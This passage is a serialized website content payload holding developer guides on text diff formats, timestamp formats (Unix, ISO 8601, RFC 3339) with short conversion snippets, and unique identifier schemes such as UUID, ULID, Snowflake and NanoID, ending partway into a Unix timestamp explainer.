greet(name) {\n",[1560,251739,251740],{"class":1562,"line":343},[1560,251741,251742],{},"-  console.log(\"Hello, \" + name);\n",[1560,251744,251745],{"class":1562,"line":365},[1560,251746,251747],{},"+  const message = `Hello, ${name}`;\n",[1560,251749,251750],{"class":1562,"line":889},[1560,251751,251752],{},"+  console.log(message);\n",[1560,251754,251755],{"class":1562,"line":1710},[1560,251756,27879],{},[16,251758,251759,251760,251762,251763,251765,251766,251768,251769,251772,251773,251776],{},"Lines starting with ",[143,251761,9412],{}," are deletions from the original. Lines starting with ",[143,251764,9448],{}," are additions in the new version. The ",[143,251767,212839],{}," header shows line numbers: ",[143,251770,251771],{},"-2,5"," means \"starting at line 2, 5 lines from the original\" and ",[143,251774,251775],{},"+2,6"," means \"starting at line 2, 6 lines in the new version.\"",[16,251778,251779,251782],{},[47,251780,251781],{},"When to use it",": Code reviews, patch files, and any situation where you need a compact, copy-paste-friendly representation.",[33,251784,119336],{"id":119335},[16,251786,251787],{},"Side-by-side diff places the original and modified texts next to each other. Matching lines stay aligned, and changed lines are highlighted on both sides.",[193,251789,251790,251799],{},[196,251791,251792],{},[199,251793,251794,251796],{},[202,251795,11090],{},[202,251797,251798],{},"Modified",[211,251800,251801,251813],{},[199,251802,251803,251808],{},[216,251804,251805],{},[143,251806,251807],{},"console.log(\"Hello\");",[216,251809,251810],{},[143,251811,251812],{},"console.log(\"Hi there\");",[199,251814,251815,251820],{},[216,251816,251817],{},[143,251818,251819],{},"return result;",[216,251821,251822],{},[143,251823,251819],{},[16,251825,251826,251828],{},[47,251827,251781],{},": Document revision, legal text comparison, and any scenario where seeing both versions simultaneously reduces cognitive load.",[33,251830,251832],{"id":251831},"inline-diff","Inline Diff",[16,251834,251835],{},"Inline diff overlays additions and deletions within a single text view. Deleted text appears struck through, and added text appears with a highlight — often in green.",[16,251837,251838,251840],{},[47,251839,251781],{},": Quick reviews of short texts, collaborative writing, and interfaces where horizontal space is limited (like mobile screens).",[11,251842,103922],{"id":103921},[33,251844,251846],{"id":251845},"document-revision","Document Revision",[16,251848,251849],{},"Writers and editors use diff tools to track changes between drafts. Legal teams compare contract versions to spot clauses that changed between negotiations. Unlike word processor track changes, a diff tool works on any plain text.",[33,251851,251853],{"id":251852},"code-review","Code Review",[16,251855,251856],{},"Every pull request on GitHub and GitLab is built around diff views. Reviewers scan additions and deletions to catch bugs, security issues, and style inconsistencies without reading the entire file from scratch.",[33,251858,251860],{"id":251859},"configuration-audits","Configuration Audits",[16,251862,251863,251864,1531,251867,251870],{},"System administrators compare configuration files before and after changes. A diff of ",[143,251865,251866],{},"nginx.conf",[143,251868,251869],{},"sshd_config"," instantly reveals what was modified, helping prevent outages caused by accidental edits.",[33,251872,251874],{"id":251873},"data-validation","Data Validation",[16,251876,251877],{},"When exporting data from two systems, a diff of the output files confirms whether the results match. Even a one-character difference — a trailing space or encoding mismatch — shows up immediately.",[11,251879,51392],{"id":51391},[193,251881,251882,251892],{},[196,251883,251884],{},[199,251885,251886,251888,251890],{},[202,251887,13018],{},[202,251889,489],{},[202,251891,239024],{},[211,251893,251894,251904,251914],{},[199,251895,251896,251898,251901],{},[216,251897,222497],{},[216,251899,251900],{},"Patches, code review",[216,251902,251903],{},"Hard to read for long changes",[199,251905,251906,251908,251911],{},[216,251907,222476],{},[216,251909,251910],{},"Document comparison",[216,251912,251913],{},"Needs wide screen",[199,251915,251916,251918,251921],{},[216,251917,148462],{},[216,251919,251920],{},"Quick scans, mobile",[216,251922,251923],{},"Can look cluttered",[16,251925,251926],{},"Most modern diff tools let you switch between formats depending on the task at hand.",[11,251928,251930],{"id":251929},"tips-for-better-comparisons","Tips for Better Comparisons",[41,251932,251933,251939,251945,251951,251957],{},[44,251934,251935,251938],{},[47,251936,251937],{},"Normalize whitespace"," before comparing if you only care about content, not formatting",[44,251940,251941,251944],{},[47,251942,251943],{},"Trim trailing whitespace"," to avoid false positives from editor artifacts",[44,251946,251947,251950],{},[47,251948,251949],{},"Use context lines"," (typically 3) so you can orient yourself without reading the entire file",[44,251952,251953,251956],{},[47,251954,251955],{},"Ignore case"," when comparing user-facing text where capitalization may vary",[44,251958,251959,251961],{},[47,251960,222575],{}," — splitting a large change into logical sections makes review faster",[11,251963,321],{"id":320},[41,251965,251966,251970,251974],{},[44,251967,251968],{},[98,251969,222649],{"href":222648},[44,251971,251972],{},[98,251973,222655],{"href":222654},[44,251975,251976],{},[98,251977,251979],{"href":251978},"\u002Fguides\u002Fregex-common-pitfalls","Regex Common Pitfalls",[11,251981,286],{"id":285},[16,251983,29979,251984,251986],{},[98,251985,35403],{"href":35402}," to compare two texts side by side. Paste your original and modified text, choose your preferred view, and see every difference highlighted instantly — no installation required.",[2043,251988,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":251990},[251991,251992,251993,251998,252004,252005,252006,252007],{"id":251662,"depth":337,"text":251663},{"id":251678,"depth":337,"text":251679},{"id":251714,"depth":337,"text":251715,"children":251994},[251995,251996,251997],{"id":251718,"depth":343,"text":251719},{"id":119335,"depth":343,"text":119336},{"id":251831,"depth":343,"text":251832},{"id":103921,"depth":337,"text":103922,"children":251999},[252000,252001,252002,252003],{"id":251845,"depth":343,"text":251846},{"id":251852,"depth":343,"text":251853},{"id":251859,"depth":343,"text":251860},{"id":251873,"depth":343,"text":251874},{"id":51391,"depth":337,"text":51392},{"id":251929,"depth":337,"text":251930},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how text comparison and diff tools work. Understand unified diff, side-by-side comparison, and inline diff formats.",{"immutable":363},{"title":251657,"description":252008},"guides\u002Ftext-diff-guide","4Ub4hsuvZalKUn1dy_golvevur_a9SxOMkVpNZSFI2A",{"id":252014,"title":252015,"body":252016,"date":235803,"description":252551,"extension":361,"meta":252552,"navigation":363,"path":236379,"readingTime":1710,"seo":252553,"stem":252554,"__hash__":252555},"guides\u002Fguides\u002Ftimestamp-formats-explained.md","Timestamp Formats Compared: Unix, ISO 8601, RFC 3339",{"type":8,"value":252017,"toc":252535},[252018,252022,252025,252045,252048,252052,252055,252061,252065,252079,252083,252093,252096,252099,252105,252109,252123,252127,252141,252144,252147,252153,252157,252171,252175,252183,252187,252294,252296,252313,252316,252318,252320,252386,252388,252430,252432,252468,252472,252506,252508,252525,252527,252532],[11,252019,252021],{"id":252020},"why-timestamp-formats-matter","Why Timestamp Formats Matter",[16,252023,252024],{},"Every application handles dates and times. Pick the wrong format, and you invite timezone bugs, parsing errors, and interoperability failures. Three formats dominate modern development:",[41,252026,252027,252033,252039],{},[44,252028,252029,252032],{},[47,252030,252031],{},"Unix timestamp"," — a single integer",[44,252034,252035,252038],{},[47,252036,252037],{},"ISO 8601"," — a structured string standard",[44,252040,252041,252044],{},[47,252042,252043],{},"RFC 3339"," — an internet-friendly profile of ISO 8601",[16,252046,252047],{},"Each serves a different purpose. Here is how they compare.",[11,252049,252051],{"id":252050},"unix-timestamp","Unix Timestamp",[16,252053,252054],{},"A Unix timestamp counts seconds (or milliseconds) since January 1, 1970, 00:00:00 UTC.",[135,252056,252059],{"className":252057,"code":252058,"language":140,"meta":141},[138],"1748300000\n",[143,252060,252058],{"__ignoreMap":141},[16,252062,252063],{},[47,252064,30193],{},[41,252066,252067,252070,252073,252076],{},[44,252068,252069],{},"One integer — trivial to store, sort, and compare",[44,252071,252072],{},"Always UTC — no timezone ambiguity",[44,252074,252075],{},"Compact — minimal storage and bandwidth",[44,252077,252078],{},"Language-neutral — every language can handle an integer",[16,252080,252081],{},[47,252082,30199],{},[41,252084,252085,252087,252090],{},[44,252086,99275],{},[44,252088,252089],{},"Seconds vs milliseconds can cause confusion",[44,252091,252092],{},"Loses sub-second precision unless you use decimals or milliseconds",[11,252094,252037],{"id":252095},"iso-8601",[16,252097,252098],{},"ISO 8601 is an international standard for date and time formatting. It defines a hierarchy of representations from dates to durations.",[135,252100,252103],{"className":252101,"code":252102,"language":140,"meta":141},[138],"2025-05-26T20:53:20Z          (UTC)\n2025-05-26T16:53:20-04:00     (with offset)\n2025-05-26                    (date only)\nP1Y2M3D                       (duration)\n",[143,252104,252102],{"__ignoreMap":141},[16,252106,252107],{},[47,252108,30193],{},[41,252110,252111,252114,252117,252120],{},[44,252112,252113],{},"Human-readable — clear and unambiguous",[44,252115,252116],{},"Sortable — alphabetical order matches chronological order",[44,252118,252119],{},"Flexible — supports dates, times, ranges, and durations",[44,252121,252122],{},"Widely adopted — used in JSON APIs, XML, and logs",[16,252124,252125],{},[47,252126,30199],{},[41,252128,252129,252132,252135,252138],{},[44,252130,252131],{},"String comparison works only for the same timezone offset",[44,252133,252134],{},"Larger storage than an integer",[44,252136,252137],{},"Many valid variations (with or without dashes, colons, T separator)",[44,252139,252140],{},"Parsing must handle optional components",[11,252142,252043],{"id":252143},"rfc-3339",[16,252145,252146],{},"RFC 3339 is a strict subset of ISO 8601 designed for internet protocols. It removes ambiguous ISO 8601 features to keep parsing simple.",[135,252148,252151],{"className":252149,"code":252150,"language":140,"meta":141},[138],"2025-05-26T20:53:20Z\n2025-05-26T16:53:20-04:00\n",[143,252152,252150],{"__ignoreMap":141},[16,252154,252155],{},[47,252156,30193],{},[41,252158,252159,252162,252165,252168],{},[44,252160,252161],{},"Compatible with ISO 8601",[44,252163,252164],{},"Strict rules — easier to parse correctly",[44,252166,252167],{},"Required by many internet standards (HTTP, SMTP, Atom feeds)",[44,252169,252170],{},"Always includes full date and time — no partial representations",[16,252172,252173],{},[47,252174,30199],{},[41,252176,252177,252180],{},[44,252178,252179],{},"Does not support durations, intervals, or date-only forms",[44,252181,252182],{},"Slightly less flexible than full ISO 8601",[11,252184,252186],{"id":252185},"format-comparison","Format Comparison",[193,252188,252189,252201],{},[196,252190,252191],{},[199,252192,252193,252195,252197,252199],{},[202,252194,5867],{},[202,252196,252051],{},[202,252198,252037],{},[202,252200,252043],{},[211,252202,252203,252213,252224,252236,252248,252260,252272,252283],{},[199,252204,252205,252207,252209,252211],{},[216,252206,34969],{},[216,252208,10191],{},[216,252210,157068],{},[216,252212,157068],{},[199,252214,252215,252218,252220,252222],{},[216,252216,252217],{},"Human-readable",[216,252219,6117],{},[216,252221,3057],{},[216,252223,3057],{},[199,252225,252226,252229,252232,252234],{},[216,252227,252228],{},"Timezone info",[216,252230,252231],{},"Always UTC",[216,252233,187685],{},[216,252235,47400],{},[199,252237,252238,252241,252243,252246],{},[216,252239,252240],{},"Sortable",[216,252242,3057],{},[216,252244,252245],{},"Alphabetically",[216,252247,252245],{},[199,252249,252250,252252,252255,252258],{},[216,252251,201568],{},[216,252253,252254],{},"4–8 bytes",[216,252256,252257],{},"20–28 bytes",[216,252259,252257],{},[199,252261,252262,252265,252268,252270],{},[216,252263,252264],{},"Sub-second precision",[216,252266,252267],{},"Milliseconds optional",[216,252269,3057],{},[216,252271,3057],{},[199,252273,252274,252277,252279,252281],{},[216,252275,252276],{},"Date-only support",[216,252278,6117],{},[216,252280,3057],{},[216,252282,6117],{},[199,252284,252285,252288,252290,252292],{},[216,252286,252287],{},"Duration support",[216,252289,6117],{},[216,252291,3057],{},[216,252293,6117],{},[11,252295,29324],{"id":29323},[41,252297,252298,252303,252308],{},[44,252299,252300,252302],{},[47,252301,252031],{}," — databases, cache keys, log entries, performance-critical code, TTL calculations",[44,252304,252305,252307],{},[47,252306,252037],{}," — API responses, configuration files, data exchange, when humans need to read values",[44,252309,252310,252312],{},[47,252311,252043],{}," — HTTP headers, email dates, API contracts that need strict parsing rules",[16,252314,252315],{},"A common pattern: store timestamps as Unix integers internally, display them as ISO 8601 \u002F RFC 3339 strings in APIs and user interfaces.",[11,252317,214649],{"id":214648},[33,252319,9860],{"id":1609},[135,252321,252323],{"className":1607,"code":252322,"language":1609,"meta":141,"style":141},"\u002F\u002F Current Unix timestamp\nconst ts = Math.floor(Date.now() \u002F 1000)\n\n\u002F\u002F To ISO 8601\nnew Date(ts * 1000).toISOString() \u002F\u002F \"2025-05-26T20:53:20.000Z\"\n",[143,252324,252325,252330,252355,252359,252364],{"__ignoreMap":141},[1560,252326,252327],{"class":1562,"line":1563},[1560,252328,252329],{"class":1649},"\u002F\u002F Current Unix timestamp\n",[1560,252331,252332,252334,252337,252339,252341,252343,252345,252347,252349,252351,252353],{"class":1562,"line":337},[1560,252333,8180],{"class":1669},[1560,252335,252336],{"class":1576}," ts",[1560,252338,8186],{"class":1669},[1560,252340,9393],{"class":1570},[1560,252342,9406],{"class":1566},[1560,252344,90101],{"class":1570},[1560,252346,90104],{"class":1566},[1560,252348,38111],{"class":1570},[1560,252350,9423],{"class":1669},[1560,252352,82375],{"class":1576},[1560,252354,8252],{"class":1570},[1560,252356,252357],{"class":1562,"line":343},[1560,252358,1702],{"emptyLinePlaceholder":363},[1560,252360,252361],{"class":1562,"line":365},[1560,252362,252363],{"class":1649},"\u002F\u002F To ISO 8601\n",[1560,252365,252366,252368,252370,252373,252375,252377,252379,252381,252383],{"class":1562,"line":889},[1560,252367,20807],{"class":1669},[1560,252369,87644],{"class":1566},[1560,252371,252372],{"class":1570},"(ts ",[1560,252374,8069],{"class":1669},[1560,252376,82375],{"class":1576},[1560,252378,9368],{"class":1570},[1560,252380,90155],{"class":1566},[1560,252382,38111],{"class":1570},[1560,252384,252385],{"class":1649},"\u002F\u002F \"2025-05-26T20:53:20.000Z\"\n",[33,252387,9840],{"id":8261},[135,252389,252391],{"className":8259,"code":252390,"language":8261,"meta":141,"style":141},"import time\nfrom datetime import datetime, timezone\n\n# Current Unix timestamp\nts = int(time.time())\n\n# To ISO 8601\ndatetime.fromtimestamp(ts, tz=timezone.utc).isoformat()  # \"2025-05-26T20:53:20+00:00\"\n",[143,252392,252393,252398,252402,252406,252411,252416,252420,252425],{"__ignoreMap":141},[1560,252394,252395],{"class":1562,"line":1563},[1560,252396,252397],{},"import time\n",[1560,252399,252400],{"class":1562,"line":337},[1560,252401,88316],{},[1560,252403,252404],{"class":1562,"line":343},[1560,252405,1702],{"emptyLinePlaceholder":363},[1560,252407,252408],{"class":1562,"line":365},[1560,252409,252410],{},"# Current Unix timestamp\n",[1560,252412,252413],{"class":1562,"line":889},[1560,252414,252415],{},"ts = int(time.time())\n",[1560,252417,252418],{"class":1562,"line":1710},[1560,252419,1702],{"emptyLinePlaceholder":363},[1560,252421,252422],{"class":1562,"line":1717},[1560,252423,252424],{},"# To ISO 8601\n",[1560,252426,252427],{"class":1562,"line":1747},[1560,252428,252429],{},"datetime.fromtimestamp(ts, tz=timezone.utc).isoformat()  # \"2025-05-26T20:53:20+00:00\"\n",[33,252431,9900],{"id":39417},[135,252433,252435],{"className":39424,"code":252434,"language":39417,"meta":141,"style":141},"import \"time\"\n\n\u002F\u002F Current Unix timestamp\nts := time.Now().Unix()\n\n\u002F\u002F To RFC 3339\ntime.Unix(ts, 0).UTC().Format(time.RFC3339) \u002F\u002F \"2025-05-26T20:53:20Z\"\n",[143,252436,252437,252441,252445,252449,252454,252458,252463],{"__ignoreMap":141},[1560,252438,252439],{"class":1562,"line":1563},[1560,252440,87782],{},[1560,252442,252443],{"class":1562,"line":337},[1560,252444,1702],{"emptyLinePlaceholder":363},[1560,252446,252447],{"class":1562,"line":343},[1560,252448,252329],{},[1560,252450,252451],{"class":1562,"line":365},[1560,252452,252453],{},"ts := time.Now().Unix()\n",[1560,252455,252456],{"class":1562,"line":889},[1560,252457,1702],{"emptyLinePlaceholder":363},[1560,252459,252460],{"class":1562,"line":1710},[1560,252461,252462],{},"\u002F\u002F To RFC 3339\n",[1560,252464,252465],{"class":1562,"line":1717},[1560,252466,252467],{},"time.Unix(ts, 0).UTC().Format(time.RFC3339) \u002F\u002F \"2025-05-26T20:53:20Z\"\n",[11,252469,252471],{"id":252470},"timezone-handling-tips","Timezone Handling Tips",[41,252473,252474,252479,252489,252495],{},[44,252475,252476,252478],{},[47,252477,177276],{}," store local times in databases — always use UTC",[44,252480,252481,252483,252484,1531,252486,1525],{},[47,252482,171889],{}," include timezone offsets in string formats (",[143,252485,22039],{},[143,252487,252488],{},"+00:00",[44,252490,252491,252492],{},"Convert to the user's local timezone ",[47,252493,252494],{},"only at display time",[44,252496,252497,252498,252501,252502,252505],{},"Be explicit: ",[143,252499,252500],{},"2025-05-26T20:53:20"," is ambiguous; ",[143,252503,252504],{},"2025-05-26T20:53:20Z"," is not",[11,252507,321],{"id":320},[41,252509,252510,252514,252519],{},[44,252511,252512],{},[98,252513,236374],{"href":236373},[44,252515,252516],{},[98,252517,252518],{"href":236422},"DateTime Programming Tips",[44,252520,252521],{},[98,252522,252524],{"href":252523},"\u002Fguides\u002Fsystemd-timers-vs-cron","systemd vs Cron",[11,252526,286],{"id":285},[16,252528,29979,252529,252531],{},[98,252530,623],{"href":622}," to convert between Unix timestamps and human-readable formats instantly.",[2043,252533,252534],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":252536},[252537,252538,252539,252540,252541,252542,252543,252548,252549,252550],{"id":252020,"depth":337,"text":252021},{"id":252050,"depth":337,"text":252051},{"id":252095,"depth":337,"text":252037},{"id":252143,"depth":337,"text":252043},{"id":252185,"depth":337,"text":252186},{"id":29323,"depth":337,"text":29324},{"id":214648,"depth":337,"text":214649,"children":252544},[252545,252546,252547],{"id":1609,"depth":343,"text":9860},{"id":8261,"depth":343,"text":9840},{"id":39417,"depth":343,"text":9900},{"id":252470,"depth":337,"text":252471},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Compare Unix timestamps, ISO 8601, and RFC 3339 date formats. Learn when to use each format in your applications.",{"immutable":363},{"title":252015,"description":252551},"guides\u002Ftimestamp-formats-explained","-ubDeUzVaEwJMPvUtAERY36M8KlmNUbid8l8cxAkdQY",{"id":252557,"title":252558,"body":252559,"date":235803,"description":253022,"extension":361,"meta":253023,"navigation":363,"path":253024,"readingTime":1710,"seo":253025,"stem":253026,"__hash__":253027},"guides\u002Fguides\u002Funique-identifiers-guide.md","Unique Identifiers in Software: A Practical Guide",{"type":8,"value":252560,"toc":253010},[252561,252565,252568,252572,252575,252579,252590,252594,252605,252608,252612,252615,252621,252625,252636,252640,252650,252657,252661,252664,252670,252674,252685,252689,252697,252705,252709,252712,252718,252722,252733,252737,252748,252751,252755,252758,252763,252767,252780,252784,252795,252798,252800,252947,252949,252982,252984,253002,253004],[11,252562,252564],{"id":252563},"why-unique-identifiers-matter","Why Unique Identifiers Matter",[16,252566,252567],{},"Every software system needs a way to uniquely identify records — users, orders, messages, files. The identifier strategy you choose impacts database performance, distributed coordination, security, and API design. This guide compares five common approaches so you can pick the right one.",[11,252569,252571],{"id":252570},"auto-increment-integers","Auto-Increment Integers",[16,252573,252574],{},"The simplest approach: the database assigns each row the next sequential integer (1, 2, 3…).",[16,252576,252577],{},[47,252578,30193],{},[41,252580,252581,252584,252587],{},[44,252582,252583],{},"Compact storage (4 or 8 bytes)",[44,252585,252586],{},"Naturally sorted — excellent for clustered indexes",[44,252588,252589],{},"Easy to read and reference in URLs",[16,252591,252592],{},[47,252593,30199],{},[41,252595,252596,252599,252602],{},[44,252597,252598],{},"Single point of coordination — hard to generate across distributed nodes",[44,252600,252601],{},"Predictable — attackers can enumerate records",[44,252603,252604],{},"Migration between databases requires remapping IDs",[16,252606,252607],{},"Use auto-increment for small, single-database applications where simplicity outweighs scalability.",[11,252609,252611],{"id":252610},"uuid-128-bit","UUID (128-bit)",[16,252613,252614],{},"UUIDs provide 128-bit identifiers generated without central coordination. Version 4 (random) is the most common.",[135,252616,252619],{"className":252617,"code":252618,"language":140},[138],"550e8400-e29b-41d4-a716-446655440000\n",[143,252620,252618],{"__ignoreMap":141},[16,252622,252623],{},[47,252624,30193],{},[41,252626,252627,252630,252633],{},[44,252628,252629],{},"No coordination needed — any node can generate independently",[44,252631,252632],{},"Negligible collision probability",[44,252634,252635],{},"Supports merging datasets without ID conflicts",[16,252637,252638],{},[47,252639,30199],{},[41,252641,252642,252645,252648],{},[44,252643,252644],{},"128 bits = 36 characters as text, 16 bytes as binary",[44,252646,252647],{},"UUID v4 is random — causes index fragmentation in databases",[44,252649,99275],{},[16,252651,252652,252653,252656],{},"Use UUID when systems must generate IDs independently, like microservices or offline-first apps. If database performance matters, prefer ",[98,252654,220579],{"href":252655},"\u002Fguides\u002Fuuid-versions-explained"," over v4.",[11,252658,252660],{"id":252659},"ulid-128-bit-sortable","ULID (128-bit, Sortable)",[16,252662,252663],{},"ULID (Universally Unique Lexicographically Sortable Identifier) combines a 48-bit timestamp with 80 bits of randomness, encoded as 26-character Crockford's Base32 strings.",[135,252665,252668],{"className":252666,"code":252667,"language":140},[138],"01ARZ3NDEKTSV4RRFFQ69G5FAV\n",[143,252669,252667],{"__ignoreMap":141},[16,252671,252672],{},[47,252673,30193],{},[41,252675,252676,252679,252682],{},[44,252677,252678],{},"Sortable by generation time — database-friendly",[44,252680,252681],{},"URL-safe encoding (no special characters)",[44,252683,252684],{},"Compatible with UUID's 128-bit space",[16,252686,252687],{},[47,252688,30199],{},[41,252690,252691,252694],{},[44,252692,252693],{},"Less widely supported than UUID in libraries and databases",[44,252695,252696],{},"Millisecond precision — sub-millisecond ordering is not guaranteed",[16,252698,252699,252700,252704],{},"Use ULID when you need sortability and compact representation. See our ",[98,252701,252703],{"href":252702},"\u002Fguides\u002Fuuid-vs-ulid","UUID vs ULID comparison"," for a deeper dive.",[11,252706,252708],{"id":252707},"snowflake-ids-64-bit","Snowflake IDs (64-bit)",[16,252710,252711],{},"Popularized by Twitter, Snowflake IDs combine a timestamp, datacenter ID, worker ID, and sequence number into a 64-bit integer.",[135,252713,252716],{"className":252714,"code":252715,"language":140},[138],"1541815603606036480\n",[143,252717,252715],{"__ignoreMap":141},[16,252719,252720],{},[47,252721,30193],{},[41,252723,252724,252727,252730],{},[44,252725,252726],{},"Compact — fits in a 64-bit integer",[44,252728,252729],{},"Time-ordered and sortable",[44,252731,252732],{},"Highly efficient for database indexing",[16,252734,252735],{},[47,252736,30199],{},[41,252738,252739,252742,252745],{},[44,252740,252741],{},"Requires coordinator to assign worker\u002Fdatacenter IDs",[44,252743,252744],{},"Depends on system clock — clock skew causes issues",[44,252746,252747],{},"64-bit limits total identifiers (roughly 69 years of IDs per worker)",[16,252749,252750],{},"Use Snowflake when you operate at scale with many nodes writing to the same database and need compact, sortable IDs.",[11,252752,252754],{"id":252753},"nanoid-21-character","NanoID (21-character)",[16,252756,252757],{},"NanoID generates compact, URL-safe strings using a larger alphabet than UUID, achieving similar uniqueness in fewer characters.",[135,252759,252761],{"className":252760,"code":220865,"language":140},[138],[143,252762,220865],{"__ignoreMap":141},[16,252764,252765],{},[47,252766,30193],{},[41,252768,252769,252772,252775,252778],{},[44,252770,252771],{},"21 characters vs UUID's 36 — shorter URLs",[44,252773,252774],{},"URL-safe by default",[44,252776,252777],{},"Extremely fast generation",[44,252779,9285],{},[16,252781,252782],{},[47,252783,30199],{},[41,252785,252786,252789,252792],{},[44,252787,252788],{},"Not standardized — different alphabets change the output",[44,252790,252791],{},"Not time-sortable",[44,252793,252794],{},"Shorter length means slightly higher collision probability (still negligible for most apps)",[16,252796,252797],{},"Use NanoID for URL-friendly identifiers like short links, file names, or component keys in front-end code.",[11,252799,160529],{"id":160528},[193,252801,252802,252821],{},[196,252803,252804],{},[199,252805,252806,252808,252811,252813,252816,252819],{},[202,252807,14482],{},[202,252809,252810],{},"Auto-Increment",[202,252812,221184],{},[202,252814,252815],{},"ULID",[202,252817,252818],{},"Snowflake",[202,252820,220858],{},[211,252822,252823,252843,252860,252877,252894,252911,252929],{},[199,252824,252825,252829,252831,252834,252837,252840],{},[216,252826,252827],{},[47,252828,142795],{},[216,252830,252254],{},[216,252832,252833],{},"36 chars",[216,252835,252836],{},"26 chars",[216,252838,252839],{},"8 bytes",[216,252841,252842],{},"21 chars",[199,252844,252845,252849,252851,252854,252856,252858],{},[216,252846,252847],{},[47,252848,252240],{},[216,252850,3057],{},[216,252852,252853],{},"v4: No \u002F v7: Yes",[216,252855,3057],{},[216,252857,3057],{},[216,252859,6117],{},[199,252861,252862,252867,252869,252871,252873,252875],{},[216,252863,252864],{},[47,252865,252866],{},"Distributed",[216,252868,6117],{},[216,252870,3057],{},[216,252872,3057],{},[216,252874,10731],{},[216,252876,3057],{},[199,252878,252879,252884,252886,252888,252890,252892],{},[216,252880,252881],{},[47,252882,252883],{},"Collision risk",[216,252885,22317],{},[216,252887,170736],{},[216,252889,170736],{},[216,252891,22317],{},[216,252893,170736],{},[199,252895,252896,252901,252903,252905,252907,252909],{},[216,252897,252898],{},[47,252899,252900],{},"URL-safe",[216,252902,3057],{},[216,252904,3057],{},[216,252906,3057],{},[216,252908,3057],{},[216,252910,3057],{},[199,252912,252913,252918,252920,252922,252924,252927],{},[216,252914,252915],{},[47,252916,252917],{},"Coordination",[216,252919,117455],{},[216,252921,22317],{},[216,252923,22317],{},[216,252925,252926],{},"Worker ID assignment",[216,252928,22317],{},[199,252930,252931,252936,252938,252940,252942,252945],{},[216,252932,252933],{},[47,252934,252935],{},"Best scale",[216,252937,84639],{},[216,252939,249391],{},[216,252941,249391],{},[216,252943,252944],{},"Large-scale",[216,252946,249391],{},[11,252948,160940],{"id":160939},[41,252950,252951,252957,252962,252967,252972,252977],{},[44,252952,252953,252956],{},[47,252954,252955],{},"Auto-increment",": Single-server apps, internal tools, prototyping",[44,252958,252959,252961],{},[47,252960,43592],{},": Microservices, systems with no central DB, offline-first",[44,252963,252964,252966],{},[47,252965,220579],{},": Same as v4 but with database sortability",[44,252968,252969,252971],{},[47,252970,252815],{},": When you want sortable + compact + URL-safe",[44,252973,252974,252976],{},[47,252975,252818],{},": High-throughput distributed systems (thousands of writes\u002Fsec)",[44,252978,252979,252981],{},[47,252980,220858],{},": Client-side keys, short URLs, file naming",[11,252983,321],{"id":320},[41,252985,252986,252991,252996],{},[44,252987,252988],{},[98,252989,252990],{"href":252655},"UUID Versions Explained",[44,252992,252993],{},[98,252994,252995],{"href":252702},"UUID vs ULID",[44,252997,252998],{},[98,252999,253001],{"href":253000},"\u002Fguides\u002Fpassword-security","Password Security",[11,253003,286],{"id":285},[16,253005,253006,253007,253009],{},"Generate UUIDs in multiple versions instantly with our free ",[98,253008,170971],{"href":170970},". Test sortability, compare formats, and copy results — no signup needed.",{"title":141,"searchDepth":337,"depth":337,"links":253011},[253012,253013,253014,253015,253016,253017,253018,253019,253020,253021],{"id":252563,"depth":337,"text":252564},{"id":252570,"depth":337,"text":252571},{"id":252610,"depth":337,"text":252611},{"id":252659,"depth":337,"text":252660},{"id":252707,"depth":337,"text":252708},{"id":252753,"depth":337,"text":252754},{"id":160528,"depth":337,"text":160529},{"id":160939,"depth":337,"text":160940},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn about different unique identifier strategies. Compare auto-increment, UUID, ULID, Snowflake IDs, and NanoID for your projects.",{"immutable":363},"\u002Fguides\u002Funique-identifiers-guide",{"title":252558,"description":253022},"guides\u002Funique-identifiers-guide","Qx3uio7lxDsxYbmrB4M-TgUtXbI6MDQkAVlxkDZ9CFM",{"id":253029,"title":253030,"body":253031,"date":235803,"description":253480,"extension":361,"meta":253481,"navigation":363,"path":236373,"readingTime":1710,"seo":253482,"stem":253483,"__hash__":253484},"guides\u002Fguides\u002Funix-timestamp-guide.md","Unix Timestamp Explained: How Epoch Time Works",{"type":8,"value":253032,"toc":253467},[253033,253037,253044,253050,253053,253057,253069,253107,253112,253120,253167,253186,253190,253199,253205,253212,253215,253217,253253,253257,253261,253277,253280,253284,253359,253401,253405,253441,253443,253457,253459,253464],[11,253034,253036],{"id":253035},"what-is-a-unix-timestamp","What Is a Unix Timestamp?",[16,253038,253039,253040,253043],{},"A Unix timestamp counts the number of seconds elapsed since January 1, 1970, 00:00:00 UTC — known as the ",[47,253041,253042],{},"Unix epoch",". Developers call it epoch time, POSIX time, or Unix time.",[135,253045,253048],{"className":253046,"code":253047,"language":140,"meta":141},[138],"Unix epoch: 1970-01-01 00:00:00 UTC → Timestamp 0\nCurrent time (example): 1748300000\n",[143,253049,253047],{"__ignoreMap":141},[16,253051,253052],{},"The format is simple: one integer, always UTC, no time zones, no formatting ambiguity. That simplicity makes timestamps the backbone of modern software.",[11,253054,253056],{"id":253055},"seconds-vs-milliseconds","Seconds vs Milliseconds",[16,253058,253059,253060,253063,253064,10176,253066,4328],{},"Most systems store timestamps in ",[47,253061,253062],{},"seconds",". JavaScript's 